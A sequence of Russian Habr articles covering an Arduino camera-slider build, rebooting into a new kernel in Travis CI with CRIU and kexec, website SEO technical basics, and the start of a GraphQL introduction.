int time=0;
int keyin=0;
void setup()
{
pinMode(m1, OUTPUT);
pinMode(m2, OUTPUT);
pinMode(m3, OUTPUT);
pinMode(m4, OUTPUT);
pinMode(key, INPUT_PULLUP);
}
void loop()
{
keyin=digitalRead(key);
if (keyin==HIGH)
{
time = analogRead(analog); // step 1
digitalWrite(m1,HIGH);
digitalWrite(m2,LOW);
digitalWrite(m3,LOW);
digitalWrite(m4,LOW);
delay (time+1);
time = analogRead(analog); // step 2
digitalWrite(m1,HIGH);
digitalWrite(m2,LOW);
digitalWrite(m3,HIGH);
digitalWrite(m4,LOW);
delay (time+1);
time = analogRead(analog); // step 3
digitalWrite(m1,LOW);
digitalWrite(m2,LOW);
digitalWrite(m3,HIGH);
digitalWrite(m4,LOW);
delay (time+1);
time = analogRead(analog); // step 4
digitalWrite(m1,LOW);
digitalWrite(m2,HIGH);
digitalWrite(m3,HIGH);
digitalWrite(m4,LOW);
delay (time+1);
time = analogRead(analog); // step 5
digitalWrite(m1,LOW);
digitalWrite(m2,HIGH);
digitalWrite(m3,LOW);
digitalWrite(m4,LOW);
delay (time+1);
time = analogRead(analog); // step 6
digitalWrite(m1,LOW);
digitalWrite(m2,HIGH);
digitalWrite(m3,LOW);
digitalWrite(m4,HIGH);
delay (time+1);
time = analogRead(analog); // step 7
digitalWrite(m1,LOW);
digitalWrite(m2,LOW);
digitalWrite(m3,LOW);
digitalWrite(m4,HIGH);
delay (time+1);
time = analogRead(analog); // step 8
digitalWrite(m1,HIGH);
digitalWrite(m2,LOW);
digitalWrite(m3,LOW);
digitalWrite(m4,HIGH);
delay (time+1);
}
else
{
time = analogRead(analog); // step 8
digitalWrite(m1,HIGH);
digitalWrite(m2,LOW);
digitalWrite(m3,LOW);
digitalWrite(m4,HIGH);
delay (time+1);
time = analogRead(analog); // step 7
digitalWrite(m1,LOW);
digitalWrite(m2,LOW);
digitalWrite(m3,LOW);
digitalWrite(m4,HIGH);
delay (time+1);
time = analogRead(analog); // step 6
digitalWrite(m1,LOW);
digitalWrite(m2,HIGH);
digitalWrite(m3,LOW);
digitalWrite(m4,HIGH);
delay (time+1);
time = analogRead(analog); // step 5
digitalWrite(m1,LOW);
digitalWrite(m2,HIGH);
digitalWrite(m3,LOW);
digitalWrite(m4,LOW);
delay (time+1);
time = analogRead(analog); // step 4
digitalWrite(m1,LOW);
digitalWrite(m2,HIGH);
digitalWrite(m3,HIGH);
digitalWrite(m4,LOW);
delay (time+1);
time = analogRead(analog); // step 3
digitalWrite(m1,LOW);
digitalWrite(m2,LOW);
digitalWrite(m3,HIGH);
digitalWrite(m4,LOW);
delay (time+1);
time = analogRead(analog); // step 2
digitalWrite(m1,HIGH);
digitalWrite(m2,LOW);
digitalWrite(m3,HIGH);
digitalWrite(m4,LOW);
delay (time+1);
time = analogRead(analog); // step 1
digitalWrite(m1,HIGH);
digitalWrite(m2,LOW);
digitalWrite(m3,LOW);
digitalWrite(m4,LOW);
delay (time+1);
}
}
```
К контроллеру подключаем двигатель через драйвер L298N, тумблер выбора направления, переменный резистор (регулятор скорости), и светодиод, который будет индикатором включения нашей системы.
Небольшой пластиковый контейнер для завтрака идеально сгодился на роль корпуса для пульта.
В качестве источника питания для контроллера была выбрана малогабаритная батерейка на 3В, а для питания двигателя стандартный аккумулятор 6V 4,5Ah. Для подачи питания предусмотрен тумблер с парой контактов, который подключает одновременно и аккумулятор и батарейку к драйверу и контроллеру соответственно. Замеры показали что в 4-х из 8 шагов двигатель потребляет 0,45 А, а в остальных 4-х шагах из 8 — 0,9 А. Получается что-то около 0,7 А- это грубо усредненное потребление двигателя, что дает нам около 5-6 часов работы от полностью заряженного аккумулятора ( в реальности так оно и есть).
Вид на сам слайдер.
Видео Слайдера в работе.
Для большей наглядности. Посмотрите видео первого испытания. Черный предмет по ноутбуком это Аккумулятор GP1245 ( 12V 4,5 Ah) весом около 2 кг. Сам ноутбук весит около 2,5 кг. Итого груз в 4,5 килограмма ездит без каких-либо проблем.
В процессе эксплуатации были замечены следующие недостатки:
1. Нить со временем растягивается ( но это почти никак не влияет на работу )
2. Иногда вход и выход нити в петле вокруг вала скрещиваются и это вызывает небольшое подергивание каретки.
3. Клеенная доска со временем чуть прогнулась ( для меня не критично)
Это первая статья, поэтому сильно не судите.
Ах да…
Вот ролик для фестиваля, там вы сможете увидеть, то что я наснимал с помощью этого слайдера.
Всем спасибо за внимание. | https://habr.com/ru/post/198674/ | null | ru | null |
# Как обновить ядро в системе без перезапуска сервисов (пошаговая инструкция)
Как вы думаете насколько реально зайти на машину по ssh, обновить систему, загрузить новое ядро и при этом оставаться в той же ssh сессии. Сейчас есть модное движения по обновлению ядра на лету (ksplice, KernelCare, ReadyKernel, etc), но у этого способа есть много ограничений. Во-первых, он не позволяет применять изменения, которые меняют структуру данных. Во-вторых, объекты в памяти могут уже содержать неверные данные, которые могут вызвать проблемы в дальнейшем. Здесь будет описан более «честный» способ обновить ядро. На самом деле, сам способ уже давно известен [[1]](https://habrahabr.ru/post/160201/), а ценность этой статьи в том, что мы разберем все в деталях на реальном примере, поймем, насколько это просто или сложно, и чего стоит ждать от подобных экспериментов.
[Travis CI](https://travis-ci.org) — одна из популярных систем непрерывной интеграции, которая хорошо работает с Github. Сервис быстро развивается и если несколько лет назад он предоставлял только контейнеры с не очень свежими дистрибутивами, то сегодня там есть выбор между контейнерами и вмками, есть поддержка не только Linux систем и многое другое.
Мы начали использовать Travis-CI в нашем проекте [CRIU](https://criu.org) (checkpoint/restrore in userspace) несколько лет назад и всегда брали от сервиса максимум. Начинали с проверки компиляции на x86\_64, а сегодня Travis-CI запускает наши тесты, проверяет компиляцию на всех архитектурах, с разными компиляторами и даже тестирует совместимость с новыми ядрами, в том числе и самой нестабильной и передовой веткой Linux-Next.
И самое главное тут, то что любой из разработчиков может воспользоваться всем этим в своих целях и ему не нужно ничего локально настраивать, приседать, подпрыгивать.
А теперь к делу, господа…
-------------------------
Но сегодня я хочу рассказать совсем не о том, как мы тестируем CRIU, а об одном интересном варианте его использования. Представьте, что на входе у нас есть виртуальная машина, в которой через ssh запущен процесс. Как нам загрузить свое ядро так, чтобы процесс этого не заметил? Это ровно та ситуация, которую мы имеем в Travis-CI.
Внешнего доступа к виртуалке мы не имеем, и если процесс Travis по какой-то причине умирает (завершается), то сервис завершает задачу и удаляет ВМ. Согласитесь, задачка, прямо скажем, непростая. Мы даже сделали внизу голосование – просигнальте, пришло ли вам сразу в голову решение или нет.
Но мы поступили следующим образом: берем CRIU, дампим ssh-сессию Travis, загружаем новое ядро, восстанавливаем процессы и бежим дальше. Примерно так я думал, когда решил немного развлечься после обеда и показать, как все это взлетит.
Сразу скажу, что задача – отнюдь не абстрактная. У нее есть несколько реальных применений. Одно из них — это желание некоторых пользователей загрузить Ubuntu 16.04 (<https://github.com/travis-ci/travis-ci/issues/5821>). Разработчики Travis решать эту задачу пока не собираются, а мы можем попробовать сделать это без их помощи. Идея тут та же, берем начальную систему 14.04, обновляем ее и перезагружаемся в новое окружение.
Решение
-------
Обновление системы — меньшая из бед, решается парой команд:
```
sed -i -e "s/trusty/xenial/g" /etc/apt/sources.list
apt-get update && apt-get dist-upgrade -y
```
Но дальше становится намного веселее. Во-первых, возникает опрос: откуда начинать дампить? Во-вторых, как будем восстанавливать? Если что-то пойдет не так, как мы узнаем, что именно? От замороженного Travis помощи ждать не приходится.
Так что начнем разбираться своими силами. Смотрим на дерево процессов и понимаем, что дампить надо начинать с процесса SSHD, который обрабатывает нашу SSH-сессию.
Дерево процессов:
```
12253 ? Ss 0:03 /usr/sbin/sshd -D
32443 ? Ss 0:00 \_ sshd: root@pts/0
32539 pts/0 Ss 0:00 | \_ -bash
```
Идем по всем родителям, начиная с себя, и берем второй процесс sshd от init-а:
```
ppid=""
pid=$$
while :; do
p=$(awk '/^PPid:/ { print $2 }' /proc/$pid/status)
test “$p” -eq 1 && break
ppid=$pid
pid=$p
done
echo $pid
```
Теперь мы знаем кого дампить и надо решить кто будет этим заниматься. Стоит учесть, что CRIU не позволяет «пилить сук, на котором сидит», так что придется создать сторонний процесс:
```
setsid bash -c "setsid ./scripts/travis/kexec-dump.sh $ppid < /dev/null &> /travis.log &"
```
Пришло время сочинить команду для дампа. Если вы думаете, что это не сложно, то сильно ошибаетесь. В CRIU уже наросло такое количество опций, что не все разработчики могут сразу в них разобраться. Но на самом деле, все не так плохо, если разобраться. Строчка кода получилась достаточно короткая.
```
./criu/criu dump -D /imgs -o dump.log -t $pid --tcp-established --ext-unix-sk -v4 --file-locks —link-remap
```
Если перевести ее на русский язык, это команда звучит примерно так: “CRIU, сделай нам дамп поддерева начиная с процесса $pid, все данные сложи в директорию /imgs, логи сохрани в файле dump.log, рассказывай подробно обо всем что делаешь, а также разрешаем тебе сохранить tcp-сокеты, unix-сокеты, связанные с внешним миром, файловые локи и дескрипторы на удаленные файлы”.
Кажется, тут все понятно, кроме удаленных файлов — откуда они возьмутся? Но достаточно вспомнить, что мы установили мажорный update на систему, а это значит, что обновилось почти все, в том числе библиотеки и запускаемые файлы. При этом наш процесс не перезапускался и по прежнему использует старые версии этих файлов. Именно для них мы и указываем опцию --link-remap.
Тут же возникает и еще одна проблема. Между сохранением и восстановлением процессов сетевой трафик должен быть заблокирован, иначе нет никакой гарантии, что TCP соединения переживут эту операцию. CRIU добавляет для этого пару правил iptables, и наша задача — эти правила восстановить после загрузки нового ядра, но до того как произойдет настройка сети. Здесь мне пришлось немного погуглить, но в целом также задача решилась не слишком сложно.
```
cat > /etc/network/if-pre-up.d/iptablesload << EOF
#!/bin/sh
iptables-restore < /etc/iptables.rules
unlink /etc/network/if-pre-up.d/iptablesload
unlink /etc/iptables.rules
exit 0
EOF
chmod +x /etc/network/if-pre-up.d/iptablesload
iptables-save -c > /etc/iptables.rules
```
Восстановление
--------------
Итак, процессы сохранены, и пришло время время подготовить того, кто будет их восстанавливать. Тут нам придется написать свой небольшой сервис.
```
cat > /lib/systemd/system/crtr.service << EOF
[Unit]
Description=Restore a Travis process
[Service]
Type=idle
ExecStart=/root/criu/scripts/travis/kexec-restore.sh $d $f
[Install]
WantedBy=multi-user.target
EOF
```
Кажется все готово и можно взлетать. Ключ на старт.
```
kernel=$(ls /boot/vmlinuz* | tail -n 1 | sed 's/.*vmlinuz-\(.*\)/\1/')
echo $kernel
kexec -l /boot/vmlinuz-$kernel --initrd=/boot/initrd.img-$kernel --reuse-cmdline
```
Полетели!
---------
```
kexec -e
```
Так мы взлетели, но, как и SpaceX, с первого раза сесть не смогли. А не смогли мы, потому что посадочная платформа была кем-то уже занята. А если серьезно, то проблема в том, что CRIU позволяет восстанавливать процессы только с теми же идентификаторами, что у них были на момент дампа. Мы же перезагрузились в новую систему, где systemd (!!!) и процессов стало немного больше. Эта проблема уже давно изучена наукой, и тут нам помогут контейнеры, точнее говоря, только их маленькая часть, называемая пространством имен процессов (pid namespace).
```
unshare -pfm --mount-proc --propagation=private ./criu/criu restore \
-D /imgs -o restore.log -j --tcp-established --ext-unix-sk \
-v4 -l --link-remap &
```
Попробуем взлететь, и снова наш корабль не выходит на связь. На этот раз идей о неполадках никаких нет, и надо как-то добывать логи. Тут было решено не думать долго, а взять да и залить их на одно из популярных хранилищ разных отходов.
```
#!/usr/bin/env python2
import dropbox, sys, os
access_token = os.getenv("DROPBOX_TOKEN")
client = dropbox.client.DropboxClient(access_token)
f = open(sys.argv[1])
fname = os.path.basename(sys.argv[1])
response = client.put_file(fname, f)
print 'uploaded: ', response
print "====================="
print client.share(fname)['url']
print "====================="
```
Под прицелом камер мы теряем очередной корабль и понимаем, что шутки кончились. На этот раз нам жалуются на DBus сокет, т е это уже такая связь, состояние которой нам недоступно, ведь ей владеет только DBus-демон. С другой стороны, зачем sshd нужен этот сокет? Наверняка он хочет отслеживать состояние сети и прочую ерунду. Мы ничего такого делать не собираемся (точнее мы уже все сделали), так что давайте просто восстановим этот сокет как-нибудь и поедем дальше.
```
diff --git a/criu/sk-unix.c b/criu/sk-unix.c
index 5cbe07a..f856552 100644
--- a/criu/sk-unix.c
+++ b/criu/sk-unix.c
@@ -708,5 +708,4 @@ static int dump_external_sockets(struct unix_sk_desc *peer)
if (peer->type != SOCK_DGRAM) {
show_one_unix("Ext stream not supported", peer);
pr_err("Can't dump half of stream unix connection.\n");
- return -1;
}
```
Фактически мы сделали свой собственный патч для CRIU. Это можно было решить более элегантно с помощью плагинов, но так было быстрее. Снова заливаем наши изменения и ждем очередного падения. На этот раз возникает проблема с псевдотерминалами: нужные нам номера уже кем-то используются. Мы могли бы монтировать devpts с newinstance, но эта опция с недавнего времени не работает.
> - The newinstance mount option continues to be accepted but is now
>
> Ignored. // Eric W. Biederman
>
>
Похоже пришло время залезть в образы процессов и немного подправить их напильником. Давайте поменяем в них номера псевдотерминалов и добавим префикс 1. Был терминал с номером 1, станет с номером 11. Для этого в CRIU есть возможность переформатировать образа в Json формат и обратно. Выглядит это примерно так:
```
./crit/crit show /imgs/tty-info.img | \
sed 's/"index": \([0-9]*\)/"index": 1\1/' | \
./crit/crit encode > /imgs/tty-info.img.new
./crit/crit show /imgs/reg-files.img | \
sed 's|/dev/pts/\([0-9]*\)|/dev/pts/1\1|' | \
./crit/crit encode > /imgs/reg-files.img.new
```
Опять запускаем и ждем. Время уже давно послеобеденное, и вся эта затея явно сильно затянулась. Привычно получаем ошибку — на этот раз о том, что какие-то fifo файлы из /run/systemd/sessions не могут быть восстановлены. Разбираться, что это за файлы, нет никакого желания, поэтому перед восстановлением просто создадим их и побежим дальше.
```
f=$(lsof -p $1 | grep /run/systemd/sessions | awk '{ print $9 }')
...
criu dump
kexec
mkfifo $f
criu restore
```
Опять падаем, и на этот раз похоже налетаем на баг в CRIU. Видим, что sys\_prctl(PR\_SET\_MM, PR\_SET\_MM\_MAP, …) возвращает EACCES, лезем в ядро и находим, что виной тому восстановление ссылки на запускаемый файл. Ядро видит, что мы передаем ссылку на файл, у которого нет соответствующего бита. Вы же помните, что мы обновили систему целиком, и теперь эта ссылка из процесса указывает на удаленный файл. Оказывается, что перед тем как удалить файл, dpkg снял с него права на запуск.
```
# strace -e chmod,link,unlink -f apt-get install --reinstall sudo
...
3331 link("/usr/bin/sudo", "/usr/bin/sudo.dpkg-tmp") = 0
3331 chmod("/usr/bin/sudo.dpkg-tmp", 0600) = 0
3331 unlink("/usr/bin/sudo.dpkg-tmp") = 0
...
```
Кажется, достаточно сделать еще один патч к CRIU, и золотой ключик будет у нас в кармане.
```
diff --git a/criu/cr-restore.c b/criu/cr-restore.c
index 12f13ae..39277cf 100644
--- a/criu/cr-restore.c
+++ b/criu/cr-restore.c
@@ -2278,6 +2278,23 @@ static int prepare_mm(pid_t pid, struct task_restore_args *args)
if (exe_fd < 0)
goto out;
+ {
+ struct stat st;
+
+ if (fstat(exe_fd, &st)) {
+ pr_perror("Unable to stat a file");
+ return -1;
+ }
+
+ if (!(st.st_mode & (S_IXUSR | S_IXGRP | S_IXOTH))) {
+ pr_debug("Add the execution bit for %d (st_mode %o)\n", exe_fd, st.st_mode);
+ if (fchmod(exe_fd, st.st_mode | S_IXUSR)) {
+ pr_perror("Unable to add the execution bit");
+ return -1;
+ }
+ }
+ }
+
args->fd_exe_link = exe_fd;
ret = 0;
out:
```
Заключение
----------
Ура! Все работает <https://travis-ci.org/avagin/criu/builds/181822758>. На самом деле, это очень краткий пересказ всей истории. Мне пришлось запускать эту задачу в Travis 33 раза, прежде чем она впервые прошла успешно.
Что мы этим доказали? Во-первых, решили пару прикладных задач, а во-вторых показали, что CRIU — это очень низкоуровневый инструмент и даже простая задача может потребовать глубоких знаний системы. Зато старания компенсируются мощностью, гибкостью и широкими возможностями. Хотя никто не гарантирует, что вам не придётся повоевать с багами.
Удачи на космических просторах! | https://habr.com/ru/post/318522/ | null | ru | null |
# Оптимизация сайта. Технологический фундамент. Часть 2
 В [прошлой статье](http://habrahabr.ru/blogs/webdev/119686/) мы описали, что нужно сделать для того, чтобы обеспечить успешное продвижение веб-ресурсов в поисковых системах при помощи выполнения базовых требований поисковой оптимизации.
Сегодня хочу обратить Ваше внимание на технологические особенности, которые необходимо соблюдать при разработке сайта. Проверьте свои ресурсы на соответствие им. Это поможет Вам, как сегодня помогает и нам. Мы постарались свести все к набору советов, что бы было легко и удобно с этим работать.
Итак, помимо внешних факторов вашего сайта, видимых, что называется, невооруженным глазом (структура, тексты, дизайн) существует целый ряд технических мероприятий, которые нужно проделать с сайтом для его правильной настройки для лучшей индексации поисковиками. Перечислим наиболее важные из них.
#### Точное определение главного хоста. Исключение зеркал.
Необходимо определить главный адрес сайта, например [www.site.ru](http://www.site.ru). В этом случае нужно настроить сервер так, чтобы при запросе адреса без WWW сервер отдавал 301-й ответ и перенаправлял на основной адрес сайта (с WWW).
Также необходимо исключить попадание в поисковый индекс синонимов главной страницы (www.site.ru/index.php и других подобных), так как, несмотря на полную идентичность, для поисковика это будут разные страницы и какую он посчитает самой главной только ему и известно.
Убедитесь, что у вас нет других доменов, которые полностью копируют содержимое основного сайта. Для каждого из них необходимо обязательно использовать директиву в robots.txt, например:
`User-Agent: *
Host: www.trubmaster.ru`
#### Корректные ответы серверов
Основные ответы серверов, которые обычно используются при продвижении сайта – это 301 (страница переехала на другой адрес на постоянное место жительства) и 404 (нет страницы с таким адресом).
Первый ответ используется в случае определения главного хоста (см.выше), а также для перенаправления пользователей и поисковых роботов со страниц, изменивших свой адрес, на новый. Например, если вы осуществили редизайн сайта и все страницы получили новые адреса, то целесообразно по старым адресам отдавать этот самый 301-й код ответа с указанием нового адреса жительства. В этом случае, к примеру, минимизируются потери того ссылочного веса, который набрала страница по старому адресу.
Ответ 404 же необходимо использовать для несуществующих страниц. На такой странице можно выводить навигационные ссылки с предложением посетить другие важные разделы сайта вместо ошибочного. Наличие правильного ответа для таких страниц гарантирует непопадание в индекс поисковой системы заведомо несуществующих страниц.
#### Настройка правильных адресов (URL)
Каждая страница должна иметь свой уникальный адрес – URL. Современные алгоритмы поисковиков прекрасно распознают слова, содержащиеся в адресе, в том числе и набранные латиницей в транслите русские слова и также учитывают их при ранжировании сайтов в результатах поиска. Составляйте такие URL, из которых будет четко видно расположение документа в структуре сайта и понятно его содержание. Такие адреса называются человеко-понятными УРЛ (ЧПУ).
Пример плохого URL: [www.site.ru/page.php?id=12313&brid=1536](http://www.site.ru/page.php?id=12313&brid=1536)
Пример хорошего URL: [www.site.ru/holodilniki/zanussi](http://www.site.ru/holodilniki/zanussi/)
#### Robots.txt
С помощью файла robots.txt возможна передача поисковому роботу директив о том, какие разделы сайта не нужно индексировать. Почему это важно? Дело в том, что очень часто, особенно в случаях наличия на сайте товарных каталогов (интернет-магазины), некоторые страницы дублируют один и тот же контент. Это могут быть страницы, возникающие при сортировке, включении различных фильтров. Также требуется закрывать от индексации страницы результатов поиска и страницы после уточнения выводимого на странице числа элементов различных списков.
Дело в том, что каждая такая страница зачастую имеет свой собственный уникальный URL, а контент, формируемый на них дублирует информацию, размещенную на основных страницах каталога. В результате, на сайтах с большим количеством элементов каталога, к индексированию добавляются сотни и тысячи совершенно ненужных страниц, которые только лишь «сбивают» с толку поискового робота при выборе релевантных страниц и попросту замедляющих его работу по сбору информации обо всех страницах сайта.
Наконец, в файле robots.txt необходимо запрещать к индексации различные служебные папки и папки системы управления сайтом.
В результате, у вас должен сформироваться файл, подобный этому:
`User-Agent: *
Host: www.site.ru
Sitemap: www.site.ru/sitemap.xml
Disallow: /katalog/tv/cost-sort/
Disallow: /katalog/tv/name-sort/
Disallow: /katalog/tv/50/
Disallow: /admin/
Disallow: /search/`
#### Sitemap
Еще одним очень полезным инструментом, помогающим поисковой системе корректно проиндексировать ваш сайт, является создание файла sitemap.xml. В данном файле прописывается каждая страничка вашего сайта и рекомендации для поискового робота по ее индексации.
Подробное описание принципов работы с элементом SITEMAP прописаны в помощи Яндекса: [help.yandex.ru/webmaster/?id=1007070](http://help.yandex.ru/webmaster/?id=1007070).
В следующей таблице мы приводим расшифровку тегов, необходимых для перечисления простых URL в файле SITEMAP.
И еще ряд небольших советов по работе с данным файлом:
* Ссылка на файл (или файлы, если их несколько) должна быть прописана в robots.txt;
* Желательно, чтобы в файл заносилась реальная дата последнего обновления (например, по факту нажатия кнопки «Сохранить», а для главной страницы и страниц каталога сигналом изменения даты обновления страницы дополнительно может служить факт обновления каталога. Также требуется обновлять дату изменения для страниц, у которых выдача формируется автоматически. Например, страница Ленты новостей автоматически обновится после добавления новостного сообщения или редактирования ранее внесенного;
* В файл должны попадать только реально существующие страницы и должны быть исключены дубли одних и тех же страниц как по разным адресам (в т.ч. «техническим»), так и просто дублирование одинаковых URL в разных частях файла.
#### HTML-код
HTML – это язык гипертекстовой разметки веб-страниц. На нем «пишется» код сайта, который, в итоге, считывают поисковые роботы. Поэтому качество этого кода и то, что он передает, — это весьма важные пункты внутренней оптимизации сайта.
HTML-код также можно отнести к технологическому фундаменту, но сам по себе вопрос корректного HTML-кодирования настолько объемен и серьезен, что имеет смысл говорить о нем отдельно. Хотя, нужно отметить, что многие оптимизаторы не придают коду слишком большого значения. В частности, это связано с тем, что сами поисковики стараются настроить свои поисковые роботы на возможность работы с любым кодом, даже самым непоследовательным и хаотичным и уж тем более с кодом популярных типовых CMS (Битрикс, Joomla, Drupal и другие). Однако, как показывает практика, сайты с качественно проработанным HTML-кодом имеют лучшие показатели в результатах поиска на протяжении долго времени.
В общем случае, к HTML-коду можно сформулировать следующие требования:
* Соответствие [стандартам HTML](http://www.w3.org/TR/html401/)
* Компактность – для обеспечения минимального «веса» и повышения скорости индексации и загрузки
Соответствие стандартам HTML гарантирует правильную индексацию кода и его расшифровку поисковыми роботами.
Компактность кода обеспечивается технологичным дизайном (без излишних «наворотов») и его грамотной версткой под HTML. К сожалению, хорошая и корректная верстка – это до сих пор очень большая редкость. Лишь очень известные и крупные студии постоянно выпускают работы на достойном уровне качества.
В данной главе мы приведем некоторые общие рекомендации по коду, по которым вы можете оценить и код вашего собственного ресурса.
##### Методика верстки
Верстать HTML-код сайта необходимо по методике DIV.
Использование табличной верстки не допускается. Таблицы можно применять только для, собственно, оформления таблиц, либо для особых случаев.
##### Общая структура построения контентной страницы в HTML
Далее приводится общая схема построения HTML-кода для типовой страницы сайта. С помощью этой схемы должно быть понятно какую последовательность появления блоков в коде необходимо соблюдать при верстке HTML-кода с помощью метода DIV, если считать, что мы работаем с некоторыми блоками. Каждый блок – это определенный «кусок» HTML-кода:
* Шапка
* Меню (оформляется тегами ненумерованного списка LI)
* Главный контентный блок (с заголовком H1 и текстами в тегах P + списки LI)
* Вторичные контентные блоки (с заголовками H2-H6 и текстами в тегах P + списки LI)
* Дополнительные меню и вспомогательные информационные блоки (реклама, анонсы других разделов, блоки ссылок на другие ресурсы и т.д.)
* Подвал сайта (копирайт, счетчики)
##### Компактность кода. CSS. JavaSript. Счетчики
При написании HTML-кода необходимо добиваться максимальной его компактности и приближения непосредственного текстового контента как можно ближе к началу кода. Некомпактный код приводит к тому, что до того, как поисковый робот начинает индексировать действительно значимый текст, он «съедает» значительное количество ненужного кода. В результате:
* расходуется квота робота, выделяемая в базе данных поисковой машины для хранения этой страницы;
* уменьшается доля полезных ключевых слов от общего объема проиндексированного на странице текста.
Как добиться компактности кода и вывода наверх текстовых блоков в общем случае:
* использование верстки методом DIV;
* не допускать возникновения в HTML-коде лишних «пустот» между строками и лишних пробелов;
* минимизировать использование различных стилей и классов прямо в коде, все основные и стандартные элементы должны быть описаны в отдельных файлах CSS;
* при использовании ссылок на стили и классы применять как можно более короткие и при этом понятные названия-идентификаторы.
В отдельные файлы необходимо выносить и подключать по мере необходимости:
* все стили элементов верстки – в виде файлов CSS;
* все JavaScript-сценарии – в виде файлов JS;
И, наконец, все счетчики необходимо обносить тегами NOINDEX, которые будут запрещать к индексированию данные фрагменты HTML-кода.
##### Оформление текстов в HTML-коде
Все тексты на сайте можно условно разделить на основной контент, блоки меню и вспомогательный текст (например, рекламные ссылки-баннеры, блок подвала с копирайтом компании и так далее). Правила оформления текстов для блоков основного контента и вспомогательного текста – одинаковые. У блоков меню свои особенности.
###### Оформление блоков меню
Все блоки меню необходимо оформлять в теги списка: UL, LI. Внутрь тега списка помещается ссылка. Стилистическое различие необходимо обеспечивать за счет задания различных стилей внутри тегов DIV, окружающих пункты меню.
`Итоговая конструкция:
DIV UL LI A текст ссылки /A /LI /UL /DIV`
###### Оформление текстов основного контента и блоков вспомогательного меню
A. При оформлении текстов не рекомендуется прямое размещение текстов в тегах:* DIV (например, DIV Здесь размещен текст /DIV)
* FONT – данный тег необходимо вообще исключить из HTML-кода
B. Необходимо, чтобы непосредственно вокруг текста располагался один из следующих тегов (как правило, все эти теги НЕ вкладываются друг в друга, за исключением возможности вложения тегов списков в теги таблиц):
* H1-H6 – для оформления заголовков
* P – основной тег для оформления практически всех текстов
* UL, OL, LI – для оформления списков
* TH, TR, TD – для табличных ячеек
* PRE – дополнительный тег для вывода преформатированного текста, может использоваться в исключительных случаях
#### Мета-описания страниц
Каждая страница сайта может быть описана специальными мета-тегами (TITLE, DESCRIPTION, KEYWORDS), которые позволяют более точно идентифицировать ее в структуре веб-документов.
Тег TITLE является самым весомым тегом из вообще каких-либо тегов, применяемых к текстам на сайте. В явном виде текст, внесенный в TITLE, виден в результатах поиска и как заголовок окна в некоторых интернет-браузерах. В тег TITLE необходимо вносить лаконичный текст, максимально точно описывающий содержимое страницы. Шаблон формирования TITLE для страниц веб-сайта по умолчанию: [Название текущего раздела]. [Название родительского раздела]. [Уникальный суффикс].
**Уникальный суффикс** – это текст, который позволит поисковой системе выделить ваш документ как уникальный во всем множестве интернет-документов. Обычно он формируется как название компании плюс 2-3 слова с описанием основной деятельности.
Теги DESCRIPTION и KEYWORDS давно утеряли свое влияние, которым обладали в конце 90-х и начале 2000-х годов, однако их использование и правильная проработка по-прежнему рекомендуется.
В теге KEYWORDS необходимо перечислить ключевые слова, которые точно описывают содержимое страниц. Рекомендуется подбирать уникальный набор для каждой из страниц, не нужно писать ничего лишнего. Желательно ограничиться 15-20 словами, не более. И не нужно «таскать» со страницы на страницу какую-нибудь фразу, которая кажется вам самой-самой нужной для вашего продвижения, лучше определите для этой фразы свою единственную, но самую подходящую страницу.
В теге DESCRIPTION нужно написать 3-5 связанных предложений о содержании страницы. Что-то вроде «Каталог рыболовных товаров. Список воблеров в категории Приманки. Рыболовный интернет-магазин ЛучшаяНаСветеРыбалка.Ру». Важно также составлять уникальные описания для каждой страницы, точно соответствующие ее содержимому. Необходимо учитывать также и то, что содержимое данного тега иногда выводится в качестве описания страницы в результатах поиска Google и Яндекса.
Необходимо отметить, что проработка мета-описаний для сайтов с сотнями страниц – это крайне утомительное дело. Тем более, что желательно каким-то образом унифицировать эти описания. В этом случае на помощь приходят CMS, в которых возможно создание шаблонов таких мета-описаний. К сожалению, на сегодняшний день не каждая CMS позволяет просто править эти мета-теги и лишь единицы позволяют создавать шаблоны. Поэтому, на этапе создания сайта, если вы привлекаете сторонних разработчиков, желательно сразу оговорить с ними как именно будут формироваться мета-теги для ваших типовых страниц.
Вышеописанные советы мы соблюдаем при разработке сайтов по [технологии web-canape](http://www.web-canape.ru). Результатами довольны и мы и заказчики. Чего и Вам желаем!
Отдельное спасибо нашему другу, партнеру и автору данных рекомендаций — Андрею Зайцеву ([www.promo-icom.ru](http://www.promo-icom.ru))
В следующем, заключительном материале, мы расскажем про дополнительные инструменты продвижения и полезные сервисы для вебмастеров. А пока ждем комментариев и дополнений от специалистов.
P.S. [Первая часть советов](http://habrahabr.ru/blogs/webdev/119686/) | https://habr.com/ru/post/120505/ | null | ru | null |
# Подробности о GraphQL: что, как и почему
GraphQL сейчас, без преувеличения, это — последний писк IT-моды. И если вы пока не знаете о том, что это за технология, о том, как ей пользоваться, и о том, почему она может вам пригодиться, значит статья, перевод которой мы сегодня публикуем, написана специально для вас. Здесь мы разберём основы GraphQL на примере реализации схемы данных для API компании, которая занимается попкорном. В частности, поговорим о типах данных, запросах и мутациях.
[](https://habr.com/ru/company/ruvds/blog/445268/)
Что такое GraphQL?
------------------
GraphQL — это язык запросов, используемый клиентскими приложениями для работы с данными. C GraphQL связано такое понятие, как «схема» — это то, что позволяет организовывать создание, чтение, обновление и удаление данных в вашем приложении (то есть — перед нами четыре базовые функции, используемые при работе с хранилищами данных, которые обычно обозначают акронимом CRUD — create, read, update, delete).
Выше было сказано, что GraphQL используется для работы с данными в «вашем приложении», а не «в вашей базе данных». Дело в том, что GraphQL — это система, независимая от источников данных, то есть, для организации её работы неважно — где именно хранятся данные.
Если взглянуть, ничего не зная о GraphQL, на название этой технологии, то может показаться, что перед нами что-то очень сложное и запутанное. В названии технологии имеется слово «Graph». Означает ли это, что для того, чтобы её освоить, придётся учиться работать с графовыми базами данных? А то, что в названии есть «QL» (что может значить «query language», то есть — «язык запросов»), означает ли, что тем, кто хочет пользоваться GraphQL, придётся осваивать совершенно новый язык программирования?
Эти страхи не вполне оправданы. Для того чтобы вас успокоить — вот жестокая правда об этой технологии: она представляет собой всего лишь приукрашенные `GET` или `POST` запросы. В то время как GraphQL, в целом, вводит некоторые новые концепции, касающиеся организации данных и взаимодействия с ними, внутренние механизмы этой технологии полагаются на старые добрые HTTP-запросы.
Переосмысление технологии REST
------------------------------
Гибкость — это то, что отличает технологию GraphQL от широко известной технологии REST. При использовании REST, если всё сделано правильно, конечные точки обычно создают с учётом особенностей некоего ресурса или типа данных приложения.
Например, при выполнении `GET`-запроса к конечной точке `/api/v1/flavors` ожидается, что она отправит ответ, выглядящий примерно так:
```
[
{
"id": 1,
"name": "The Lazy Person's Movie Theater",
"description": "That elusive flavor that you begrudgingly carted yourself to the theater for, now in the comfort of your own home, you slob!"
}, {
